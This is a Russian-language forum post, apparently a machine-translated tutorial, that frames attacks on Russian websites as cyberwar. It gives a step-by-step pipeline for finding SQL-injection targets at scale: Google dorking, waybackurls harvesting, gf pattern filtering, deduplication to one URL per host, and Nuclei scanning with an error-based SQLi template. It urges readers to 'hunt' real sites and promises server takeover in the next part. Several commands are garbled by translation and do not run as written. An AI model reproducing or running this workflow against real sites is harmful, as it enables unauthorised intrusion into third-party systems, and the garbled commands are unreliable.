Кибервойна Украины и России! Использование SQLi против российских сайтов. Часть 2

[LeSh1y777]

Привет, кибервоины!

Это снова Залог из Украины!

В первой части этой серии мы рассмотрели различные модификации полезных нагрузок SQLMap. Сегодня мы продолжим серию статей о SQL-инъекциях, но сосредоточимся на автоматизации процесса сканирования, чтобы сэкономить время и упростить работу с большими наборами веб-сайтов. Мы будем использовать инструмент Nuclei для сканирования и несколько других инструментов для подготовки данных перед отправкой в Nuclei.

Давайте разберёмся пошагово. Кому-то это может показаться сложным, но я проведу вас через каждый этап.

Шаг 1: Настройте свою среду​

Прежде чем начать сканирование, нам необходимо установить несколько инструментов.

Установить Go (Golang)​

Для установки большинства инструментов разведки, которые мы будем использовать, требуется Go (это язык программирования Google, который становится всё более популярным в кибербезопасности). Версия, указанная ниже, является последней на момент написания статьи.

Кали> wget https://go.dev/dl/go1.24.2.linux-amd64.tar.gz

кали> rm -rf /usr/local/go && tar -C /usr/local -xzf go1.24.2.linux-amd64.tar.gz

Примечание: Не распаковывайте архив в существующую папку /usr/local/go . Это может привести к сбою установки.

Теперь добавьте Go в системный путь, добавив следующую строку в /etc/profile :

кали> экспорт PATH=$PATH:/usr/local/go/bin

Обновить источник

kali> источник /etc/profile

Проверьте, работает ли он:

версия kali> go

Вы должны увидеть:

Кали > версия Go 1.24.2 Linux/AMD64

Установить Waybackurls и Gf​

Эти инструменты помогут нам находить URL-адреса и фильтровать их по шаблонам SQLi.

kali> иди установи github.com/tomnomnom/waybackurls@latest

kali> иди установи github.com/tomnomnom/gf@latest

Затем создайте каталог для шаблонов gf и переместите их туда:

kali> mkdir ~/.gf

kali> git clone https://github.com/1ndianl33t/Gf-Patterns.git
kali> mv ~/Gf-Patterns/*.json ~/.gf

Установить скрипт Python Dorking​

Мы воспользуемся скриптом для поиска в Google потенциально уязвимых сайтов.

Кали> wget https://raw.githubusercontent.com/coffinxp/scripts/refs/heads/main/dorking.py

Вам также следует добавить эту библиотеку, от которой зависит скрипт.

kali> pip3 install googlesearch-python

Получить шаблон ядра​

Это специальный шаблон для обнаружения SQL-инъекций:

Кали> wget https://github.com/coffinxp/nuclei-templates/blob/main/errsqli.yaml

Установить gawk​

Наконец, для редактирования вывода вам понадобится gawk. Установка проста:

kali> sudo apt install gawk

Шаг 2: Запуск разведки​

Начните с запуска скрипта dorking.py :

python3 dorking.py

Вы можете настроить дорки в скрипте по своему усмотрению или просто запустить его как есть для тестирования. Он вернёт список URL-адресов от Google, которые могут быть уязвимы.

Шаг 3: Очистка и фильтрация результатов​

Получив результаты, очистите их, чтобы изолировать домены:

cat id.sqli.results.txt | awk -F/ '{print $3}' | sort -u | tee id.sqli.websites.txt

Затем соберите исторические URL-адреса для каждого домена, отфильтруйте их по шаблонам SQLi с помощью gf и очистите их с помощью uro :


cat id.sqli.websites.txt | waybackurls | gf sqli | uro > output.txt

Если вы просто тестируете этот процесс или хотите получить более быстрые результаты, попробуйте использовать только один веб-сайт:

cat single.txt | waybackurls | gf sqli | uro > output.txt

В результате вы получите список потенциальных точек SQL-инъекций.

Шаг 4: Уменьшите шум​

Если вы работаете с большим количеством URL-адресов, это может запутать вас. Чтобы избежать сканирования слишком большого количества похожих страниц в одном домене, отфильтруйте список, оставив только один URL-адрес на домен:

cat output.txt | gawk -F/ '{host=$3; sub(/:80$/, “”, host); if (!(host in seen)) { print $0; seen[host] } }' | tee reduced.single.output.txt

Это дает вам один надежный URL-адрес для тестирования на каждый хост.

Шаг 5: Сканирование с помощью ядер​

Теперь, когда у нас есть чистый список целей, пришло время запустить фактическое сканирование:

cat reduced.single.output.txt | nuclei -t errsqli.yaml -dast

Позвольте Nuclei просмотреть каждый URL-адрес и проверить его на наличие уязвимостей SQL-инъекций, используя шаблон, который мы скачали ранее.

Заключительные мысли​

Поначалу результаты могут не соответствовать вашим ожиданиям. Не отчаивайтесь. Иногда цели не реагируют так, как ожидалось, а иногда инструменты пропускают важные моменты. Так и бывает. Но чем лучше вы совершенствуете свой подход, тем лучше результат.

Увидимся в третьей части, где я покажу, как одна SQL-инъекция может скомпрометировать целый сервер. А пока — ваша очередь охотиться!

 

[xtensy]

я только компьютер включать умею